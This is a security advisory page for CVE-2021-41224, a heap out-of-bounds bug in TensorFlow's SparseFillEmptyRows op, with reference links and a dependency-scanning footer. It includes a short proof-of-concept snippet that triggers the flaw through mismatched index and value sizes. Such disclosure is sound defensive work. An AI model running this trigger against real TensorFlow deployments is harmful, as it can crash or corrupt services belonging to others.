CVE-2021-41224: `SparseFillEmptyRows` heap OOB
(updated )
The implementation of SparseFillEmptyRows can be made to trigger a heap OOB access:
import tensorflow as tf
data=tf.raw_ops.SparseFillEmptyRows(
indices=[[0,0],[0,0],[0,0]],
values=['sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss'],
dense_shape=[5,3],
default_value='o')
This occurs whenever the size of indices does not match the size of values.
References
- github.com/advisories/GHSA-rg3m-hqc5-344v
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-633.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-831.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-416.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/67bfd9feeecfb3c61d80f0e46d89c170fbee682b
- github.com/tensorflow/tensorflow/security/advisories/GHSA-rg3m-hqc5-344v
- nvd.nist.gov/vuln/detail/CVE-2021-41224
Code Behaviors & Features
Detect and mitigate CVE-2021-41224 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Dependency Scanning using SBOM also detects vulnerabilities from proprietary advisories that this site does not include. Learn more about Dependency Scanning using SBOM →